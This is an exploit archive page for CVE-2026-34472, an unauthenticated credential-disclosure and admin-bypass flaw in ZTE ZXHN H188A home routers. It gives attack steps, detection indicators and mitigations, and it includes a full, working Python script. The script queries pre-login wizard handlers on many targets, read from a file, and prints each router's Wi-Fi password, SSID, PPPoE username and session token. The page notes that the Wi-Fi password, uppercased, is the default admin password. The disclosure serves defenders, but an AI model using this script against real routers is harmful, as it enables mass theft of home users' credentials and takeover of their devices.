PoC Archive PoC Archive
Critical CVE-2026-34472 unpatched

ZTE ZXHN H188A Unauthenticated Wizard Handler Credential Disclosure / Auth Bypass (CVE-2026-34472)

by minanagehsalalma · 2026-07-05

Severity
Critical
CVE
CVE-2026-34472
Category
network
Affected product
ZTE ZXHN H188A V6 home router firmware
Affected versions
ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherminanagehsalalma
CVE / AdvisoryCVE-2026-34472
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsrouter, firmware, unauthenticated, auth-bypass, credential-leak, iot, zte, wifi
RelatedN/A

Affected Target

FieldValue
Software / SystemZTE ZXHN H188A V6 home router firmware
Versions AffectedZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
Language / PlatformPython 3 (PoC), target is embedded Lua-based router web management interface
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-34472 is an authentication bypass in ZTE ZXHN H188A V6 routers caused by unauthenticated access to pre-login “wizard” handlers. Root-path routing trusts attacker-controlled _type/_tag parameters, and the QuickSetupEnable gate that should block this only runs in a fallback path that is skipped whenever _type is present — letting unauthenticated requests reach handlers that disclose the WLAN PSK, SSID, and PPPoE username. Critically, the leaked Wi-Fi password becomes the router’s default administrator password after uppercasing, turning a data leak into full authentication bypass. The PoC script issues the pre-login wizard requests (getPassword, wlan_get, ppp_get) against one or more targets and extracts the recovered credentials and session token.


Vulnerability Details

Root Cause

router_logic_impl.lua accepts attacker-controlled _type/_tag values for empty-path requests, and urlpath_2type_modifier.lua only enforces the QuickSetupEnable restriction when _type is absent, allowing Tedata_notLogin_wizard_page_manage.lua to serve pre-login wizard data (including credential-bearing getPassword/wlan_get/ppp_get actions) to unauthenticated callers.

Attack Vector

  1. Send an unauthenticated GET request to the router root path with _type=tedataNotLoginData, _tag=wizard_lua.lua, and IF_ACTION=getPassword (plus BAND/PASSTYPE parameters) to retrieve the Wi-Fi password.
  2. Send similarly-crafted requests with IF_ACTION=wlan_get and IF_ACTION=ppp_get to recover the SSID and PPPoE username.
  3. Uppercase the recovered Wi-Fi password — this is the router’s default administrator password — and use it to log into the admin web interface.
  4. With admin access obtained, optionally use related cmapi.setinst write paths in the same handler family for further configuration changes.

Impact

Any unauthenticated attacker with network access to the router’s web interface can recover Wi-Fi credentials and, by extension, the default administrator password, achieving full authentication bypass and administrative control of the device. At disclosure time roughly 500 H188A interfaces were found publicly exposed on the internet.


Environment / Lab Setup

Target:   ZTE ZXHN H188A V6.0.10P2_TE / V6.0.10P3N3_TE router web interface
Attacker: Python 3, requests library

Proof of Concept

PoC Script

See extract_wizard_credentials.py and targets.txt.example in this folder.

1
2
3
pip install requests
python poc/extract_wizard_credentials.py --target 192.168.1.1
python poc/extract_wizard_credentials.py --targets-file poc/targets.txt.example

The script sends the unauthenticated getPassword, wlan_get, and ppp_get wizard requests to each target over HTTPS/HTTP, then prints a table of the recovered WLAN PSK, ESSID, PPPoE username, and any returned session token per host.


Detection & Indicators of Compromise

Signs of compromise:

  • Unauthenticated requests to the router root path containing _type=tedataNotLoginData and wizard IF_ACTION parameters
  • Administrator logins immediately following such requests from the same source IP
  • Unexpected changes to Wi-Fi or PPPoE configuration without a corresponding legitimate admin session

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — ZTE PSIRT declined CVE assignment before MITRE assigned it directly
Interim mitigationDisable remote/WAN-facing administration, restrict management interface access to trusted LAN only, and change the default administrator password so it no longer matches the Wi-Fi password

References


Notes

Mirrored from https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router on 2026-07-05.

extract_wizard_credentials.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
"""Extract unauthenticated wizard data for CVE-2026-34472."""

from __future__ import annotations

import argparse
import json
import sys
import urllib3
from pathlib import Path

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


REQUESTS = (
    (
        "getPassword",
        {
            "_type": "tedataNotLoginData",
            "_tag": "wizard_lua.lua",
            "IF_ACTION": "getPassword",
            "BAND": "5GHz",
            "PASSTYPE": "PSK",
        },
    ),
    (
        "wlan_get",
        {
            "_type": "tedataNotLoginData",
            "_tag": "wizard_lua.lua",
            "IF_ACTION": "wlan_get",
            "BAND": "5GHz",
        },
    ),
    (
        "ppp_get",
        {
            "_type": "tedataNotLoginData",
            "_tag": "wizard_lua.lua",
            "IF_ACTION": "ppp_get",
        },
    ),
)


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Probe ZTE ZXHN H188A V6 wizard handlers exposed by CVE-2026-34472."
    )
    parser.add_argument("--target", action="append", default=[], help="Single target host or IP.")
    parser.add_argument(
        "--targets-file",
        type=Path,
        help="File containing one target host or IP per line.",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=6.0,
        help="Per-request timeout in seconds. Default: 6.0",
    )
    return parser.parse_args()


def collect_targets(args: argparse.Namespace) -> list[str]:
    targets: list[str] = []
    targets.extend(args.target)
    if args.targets_file:
        for line in args.targets_file.read_text(encoding="utf-8").splitlines():
            line = line.strip()
            if line:
                targets.append(line)
    seen: set[str] = set()
    unique_targets: list[str] = []
    for target in targets:
        if target not in seen:
            seen.add(target)
            unique_targets.append(target)
    return unique_targets


def fetch_json(session: requests.Session, scheme: str, target: str, params: dict[str, str], timeout: float) -> dict | None:
    url = f"{scheme}://{target}/"
    try:
        response = session.get(url, params=params, timeout=timeout, verify=False)
        response.raise_for_status()
        return response.json()
    except (requests.RequestException, json.JSONDecodeError, ValueError):
        return None


def probe_target(target: str, timeout: float) -> dict[str, str]:
    session = requests.Session()
    for scheme in ("https", "http"):
        responses: dict[str, dict] = {}
        for name, params in REQUESTS:
            data = fetch_json(session, scheme, target, params, timeout)
            if data is None:
                responses = {}
                break
            responses[name] = data
        if responses:
            return {
                "scheme": scheme,
                "target": target,
                "KeyPassphrase": str(responses["getPassword"].get("KeyPassphrase", "")),
                "ESSID": str(responses["wlan_get"].get("ESSID", "")),
                "UserName": str(responses["ppp_get"].get("UserName", "")),
                "_sessionTOKEN": str(
                    responses["getPassword"].get("_sessionTOKEN")
                    or responses["wlan_get"].get("_sessionTOKEN")
                    or responses["ppp_get"].get("_sessionTOKEN")
                    or ""
                ),
            }
    return {
        "scheme": "",
        "target": target,
        "KeyPassphrase": "",
        "ESSID": "",
        "UserName": "",
        "_sessionTOKEN": "",
    }


def print_results(results: list[dict[str, str]]) -> None:
    if not results:
        print("No targets provided.", file=sys.stderr)
        return
    print(
        f"{'#':<3} {'SCHEME':<6} {'TARGET':<22} {'KEYPASSPHRASE':<24} {'ESSID':<24} {'USERNAME':<30} {'SESSIONTOKEN'}"
    )
    print("-" * 140)
    for index, result in enumerate(results, start=1):
        print(
            f"{index:<3} "
            f"{result['scheme']:<6} "
            f"{result['target']:<22} "
            f"{result['KeyPassphrase'][:24]:<24} "
            f"{result['ESSID'][:24]:<24} "
            f"{result['UserName'][:30]:<30} "
            f"{result['_sessionTOKEN']}"
        )


def main() -> int:
    args = parse_args()
    targets = collect_targets(args)
    if not targets:
        print("Provide at least one --target or a --targets-file.", file=sys.stderr)
        return 1
    results = [probe_target(target, args.timeout) for target in targets]
    print_results(results)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())